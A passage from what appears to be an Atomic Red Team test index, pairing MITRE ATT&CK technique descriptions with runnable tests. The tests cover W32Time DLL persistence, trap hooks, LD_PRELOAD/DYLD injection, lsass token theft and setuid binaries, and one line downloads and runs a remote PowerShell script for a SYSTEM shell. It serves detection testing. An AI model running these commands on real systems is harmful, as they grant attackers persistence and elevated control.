Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' x_mitre_permissions_required: - SYSTEM - Administrator type: attack-pattern id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc created: '2020-01-24T15:51:52.317Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/003 external_id: T1547.003 - source_name: Github W32Time Oct 2017 description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018. url: https://github.com/scottlundgren/w32time - source_name: Microsoft W32Time May 2017 description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018. url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings - source_name: Microsoft W32Time Feb 2018 description: Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018. url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top - source_name: Microsoft TimeProvider description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.003 atomic_tests: - name: Create a new time provider auto_generated_guid: df1efab7-bc6d-4b88-8be9-91f55ae017aa description: | Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/ supported_platforms: - windows executor: command: | net stop w32time Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f net start w32time cleanup_command: | net stop w32time reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time name: powershell elevation_required: true - name: Edit an existing time provider auto_generated_guid: 29e0afca-8d1d-471a-8d34-25512fc48315 description: | Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/ supported_platforms: - windows executor: command: | net stop w32time Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f net start w32time cleanup_command: | net stop w32time reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Windows\SYSTEM32\w32time.DLL" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "0" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "0" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time name: powershell elevation_required: true T1546.005: technique: x_mitre_platforms: - macOS - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--63220765-d418-44de-8fae-694b3912317d type: attack-pattern created: '2020-01-24T14:17:43.906Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.005 url: https://attack.mitre.org/techniques/T1546/005 - source_name: Trap Manual url: https://ss64.com/bash/trap.html description: ss64. (n.d.). trap. Retrieved May 21, 2019. - source_name: Cyberciti Trap Statements url: https://bash.cyberciti.biz/guide/Trap_statement description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019. modified: '2021-04-29T14:49:39.188Z' name: 'Event Triggered Execution: Trap' description: |- Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.005 atomic_tests: - name: Trap EXIT auto_generated_guid: a74b2e07-5952-4c03-8b56-56274b076b61 description: | Launch bash shell with command arg to create TRAP on EXIT. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - macos - linux executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh - name: Trap EXIT (freebsd) auto_generated_guid: be1a5d70-6865-44aa-ab50-42244c9fd16f description: | Launch bash shell with command arg to create TRAP on EXIT. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if bash is installed. ' prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y bash)\n" executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh - name: Trap SIGINT auto_generated_guid: a547d1ba-1d7a-4cc5-a9cb-8d65e8809636 description: | Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - macos - linux executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh - name: Trap SIGINT (freebsd) auto_generated_guid: ade10242-1eac-43df-8412-be0d4c704ada description: | Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if bash is installed. ' prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y bash)\n" executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh T1574.006: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: LD_PRELOAD' description: "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS x_mitre_version: '2.0' x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'Module: Module Load' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825 created: '2020-03-13T20:09:59.569Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/006 external_id: T1574.006 - source_name: Man LD.SO description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020. url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html - source_name: TLDP Shared Libraries description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020. url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html - source_name: Apple Doco Archive Dynamic Libraries description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html - source_name: Baeldung LD_PRELOAD description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021. url: https://www.baeldung.com/linux/ld_preload-trick-what-is - source_name: Code Injection on Linux and macOS description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.' url: https://www.datawire.io/code-injection-on-linux-and-macos/ - source_name: Uninformed Needle description: skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. url: http://hick.org/code/skape/papers/needle.txt - source_name: Phrack halfdead 1997 description: halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. url: http://phrack.org/issues/51/8.html - source_name: Brown Exploiting Linkers description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.' url: http://www.nth-dimension.org.uk/pub/BTL.pdf - source_name: TheEvilBit DYLD_INSERT_LIBRARIES description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020. url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/ - source_name: Timac DYLD_INSERT_LIBRARIES description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020. url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/ - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass description: Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021. url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1574.006 atomic_tests: - name: Shared Library Injection via /etc/ld.so.preload auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991 description: "This test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. \n" supported_platforms: - linux input_arguments: path_to_shared_library_source: description: Path to a shared library source code type: path default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c path_to_shared_library: description: Path to a shared library object type: path default: "/tmp/T1574006.so" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} ' executor: command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload'' ' cleanup_command: 'sudo sed -i ''s##{path_to_shared_library}##'' /etc/ld.so.preload ' name: bash elevation_required: true - name: Shared Library Injection via LD_PRELOAD auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae description: | This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package. Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout. supported_platforms: - linux input_arguments: path_to_shared_library_source: description: Path to a shared library source code type: path default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c path_to_shared_library: description: Path to a shared library object type: path default: "/tmp/T1574006.so" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} ' executor: command: 'LD_PRELOAD=#{path_to_shared_library} ls ' name: bash - name: Dylib Injection via DYLD_INSERT_LIBRARIES auto_generated_guid: 4d66029d-7355-43fd-93a4-b63ba92ea1be description: 'injects a dylib that opens calculator via env variable ' supported_platforms: - macos input_arguments: file_to_inject: description: Path of executable to be injected. Mostly works on non-apple default apps. type: path default: "/Applications/Firefox.app/Contents/MacOS/firefox" source_file: description: Path of c source file type: path default: PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c dylib_file: description: Path of dylib file type: path default: "/tmp/T1574006MOS.dylib" dependency_executor_name: bash dependencies: - description: 'Compile the dylib from (#{source_file}). Destination is #{dylib_file} ' prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file} ' get_prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file} ' executor: command: 'DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject} ' cleanup_command: | kill `pgrep Calculator` kill `pgrep firefox` name: bash elevation_required: false T1548: technique: modified: '2024-04-15T20:52:09.908Z' name: Abuse Elevation Control Mechanism description: 'Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: |- Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - IaaS - Google Workspace - Azure AD x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'User Account: User Account Modification' - 'Command: Command Execution' - 'Process: OS API Execution' - 'File: File Modification' - 'Process: Process Metadata' - 'File: File Metadata' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b created: '2020-01-30T13:58:14.373Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548 external_id: T1548 - source_name: TechNet How UAC Works description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - source_name: OSX Keydnap malware description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: Fortinet Fareit description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - source_name: sudo man page 2018 description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. url: https://www.sudo.ws/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1134.002: technique: modified: '2023-05-09T14:00:00.188Z' name: Create Process with Token description: |- Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs) Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process. While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Vadim Khrykov - Jonny Johnson x_mitre_deprecated: false x_mitre_detection: |- If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior. Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Windows User Account Control - System access controls - File system access controls type: attack-pattern id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf created: '2020-02-18T16:48:56.582Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/002 external_id: T1134.002 - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: Microsoft RunAs description: Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11) object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1134.002 atomic_tests: - name: Access Token Manipulation auto_generated_guid: dbf4f5a9-b8e0-46a3-9841-9ad71247239e description: "This Action demonstrates how an access token for a specific program can spawn another program under a different owner. \nAdversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. \nThis Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe\n" supported_platforms: - windows executor: command: | Set-ExecutionPolicy -Scope Process Bypass -Force $owners = @{} gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} & "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") name: powershell elevation_required: true - name: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique auto_generated_guid: ccf4ac39-ec93-42be-9035-90e2f26bcd92 description: Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem name: powershell T1548.001: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Abuse Elevation Control Mechanism: Setuid and Setgid' description: |- An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used. Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions. Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Metadata' - 'File: File Modification' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9 created: '2020-01-30T14:11:41.212Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/001 external_id: T1548.001 - source_name: GTFOBins Suid description: Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022. url: https://gtfobins.github.io/#+suid - source_name: OSX Keydnap malware description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: setuid man page description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018. url: http://man7.org/linux/man-pages/man2/setuid.2.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1548.001 atomic_tests: - name: Make and modify binary from C source auto_generated_guid: 896dfe97-ae43-4101-8e96-9a7996555d80 description: 'Make, change owner, and change file attributes on a C source code file ' supported_platforms: - macos - linux input_arguments: payload: description: hello.c payload type: path default: PathToAtomicsFolder/T1548.001/src/hello.c executor: command: | cp #{payload} /tmp/hello.c sudo chown root /tmp/hello.c sudo make /tmp/hello sudo chown root /tmp/hello sudo chmod u+s /tmp/hello /tmp/hello cleanup_command: | sudo rm /tmp/hello sudo rm /tmp/hello.c name: sh elevation_required: true - name: Make and modify binary from C source (freebsd) auto_generated_guid: dd580455-d84b-481b-b8b0-ac96f3b1dc4c description: 'Make, change owner, and change file attributes on a C source code file ' supported_platforms: - linux input_arguments: payload: description: hello.c payload type: path default: PathToAtomicsFolder/T1548.001/src/hello.c executor: command: | cp #{payload} /tmp/hello.c chown root /tmp/hello.c make /tmp/hello chown root /tmp/hello chmod u+s /tmp/hello /tmp/hello cleanup_command: | rm /tmp/hello rm /tmp/hello.c name: sh elevation_required: true - name: Set a SetUID flag on file auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79 description: 'This test sets the SetUID flag on a file in FreeBSD. ' supported_platforms: - macos - linux input_arguments: file_to_setuid: description: Path of file to set SetUID flag type: path default: "/tmp/evilBinary" executor: command: | sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod u+xs #{file_to_setuid} cleanup_command: 'sudo rm #{file_to_setuid} ' name: sh elevation_required: true - name: Set a SetUID flag on file (freebsd) auto_generated_guid: 9be9b827-ff47-4e1b-bef8-217db6fb7283 description: 'This test sets the SetUID flag on a file in FreeBSD. ' supported_platforms: - linux input_arguments: file_to_setuid: description: Path of file to set SetUID flag type: path default: "/tmp/evilBinary" executor: command: | touch #{file_to_setuid} chown root 